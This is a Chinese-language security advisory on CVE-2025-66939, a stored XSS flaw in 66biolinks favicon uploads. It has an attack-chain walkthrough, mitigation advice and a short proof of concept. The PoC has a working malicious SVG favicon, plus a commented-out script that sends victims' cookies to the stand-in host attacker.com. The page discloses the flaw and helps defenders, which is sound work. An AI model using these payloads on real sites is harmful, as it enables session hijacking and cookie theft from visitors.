IPBUF安全漏洞报告
English
CVE-2025-66939 CVSS 5.4 中危

CVE-2025-66939: 66biolinks XSS漏洞通过恶意favicon执行任意代码

披露日期: 2026-01-12

漏洞信息

漏洞编号
CVE-2025-66939
漏洞类型
XSS (跨站脚本攻击)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
66biolinks by AltumCode

相关标签

XSSCross Site ScriptingStored XSS66biolinksAltumCodeCVE-2025-66939FaviconFile UploadWeb SecuritySVG Injection

漏洞概述

CVE-2025-66939是66biolinks链接管理工具中的一个存储型跨站脚本(Stored XSS)漏洞,影响版本v.61.0.1。该漏洞允许未经认证的攻击者通过上传精心制作的恶意favicon文件,在目标网站上执行任意JavaScript代码。66biolinks是一款由AltumCode开发的社交媒体链接管理平台,广泛应用于个人和商业网站。当用户访问包含恶意favicon的页面时,攻击者注入的恶意脚本会在受害者浏览器中执行,可能导致会话劫持、敏感信息窃取、钓鱼攻击等严重安全后果。由于该漏洞影响产品的广泛使用,CVSS评分达到5.4(中等严重程度),攻击复杂度低且无需认证即可实施,但需要用户交互才能触发,使得漏洞实际利用需要一定的社会工程手段配合。

技术细节

该XSS漏洞存在于66biolinks的favicon上传功能模块中。攻击者利用该漏洞的原理如下:首先,攻击者构造一个包含恶意JavaScript代码的SVG或ICO文件作为favicon。SVG格式允许嵌入JavaScript代码,当浏览器解析该SVG文件时,会执行其中的脚本代码。攻击者将恶意favicon文件上传到66biolinks服务器,由于应用层未对上传的favicon内容进行充分的输入验证和输出编码,恶意代码被存储在服务器端。当其他用户访问包含该favicon的页面时,浏览器会自动请求并加载这个恶意的favicon文件。浏览器在解析SVG favicon时,会执行其中嵌入的JavaScript代码,从而实现XSS攻击。攻击者可以利用此漏洞窃取用户的会话Cookie、劫持用户账户、进行钓鱼攻击或植入进一步的攻击payload。由于favicon在几乎所有页面都会加载,攻击范围覆盖整个受影响的网站。

攻击链分析

STEP 1
步骤1
攻击者创建恶意favicon文件:构造包含XSS payload的SVG或ICO文件,在SVG的onload事件或script标签中嵌入恶意JavaScript代码
STEP 2
步骤2
攻击者登录66biolinks管理后台或在未授权状态下找到favicon上传入口,上传精心制作的恶意favicon文件到服务器
STEP 3
步骤3
服务器未对favicon内容进行充分的安全过滤和输出编码,直接存储恶意文件并在下一次页面加载时提供给用户
STEP 4
步骤4
受害者访问受影响的66biolinks页面,浏览器自动加载并解析恶意的favicon文件,触发其中嵌入的JavaScript代码执行
STEP 5
步骤5
恶意JavaScript代码在受害者浏览器上下文中执行,可窃取Cookie、会话令牌、用户敏感信息或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-66939 PoC: Malicious Favicon for 66biolinks XSS --> <!-- Save this as malicious_favicon.svg and upload as favicon --> <svg xmlns="http://www.w3.org/2000/svg" onload="javascript:alert(document.cookie)"> <circle cx="100" cy="100" r="80" fill="red"/> </svg> <!-- Alternative PoC with external script injection --> <!-- <svg xmlns="http://www.w3.org/2000/svg"> <script>document.location='https://attacker.com/steal?c='+encodeURIComponent(document.cookie)</script> </svg> -->

影响范围

66biolinks by AltumCode v.61.0.1

防御指南

临时缓解措施
临时缓解措施:在Web应用防火墙(WAF)上配置规则,检测并阻止包含<script>、onload、onerror等危险HTML标签的SVG文件上传请求。同时限制SVG文件上传功能,仅允许上传经过安全扫描的预定义图标。对于已上传的favicon文件,立即进行安全审查并清除可疑内容。在浏览器层面,可临时禁用JavaScript执行作为应急措施,但会影响网站正常功能。建议尽快应用官方发布的安全补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表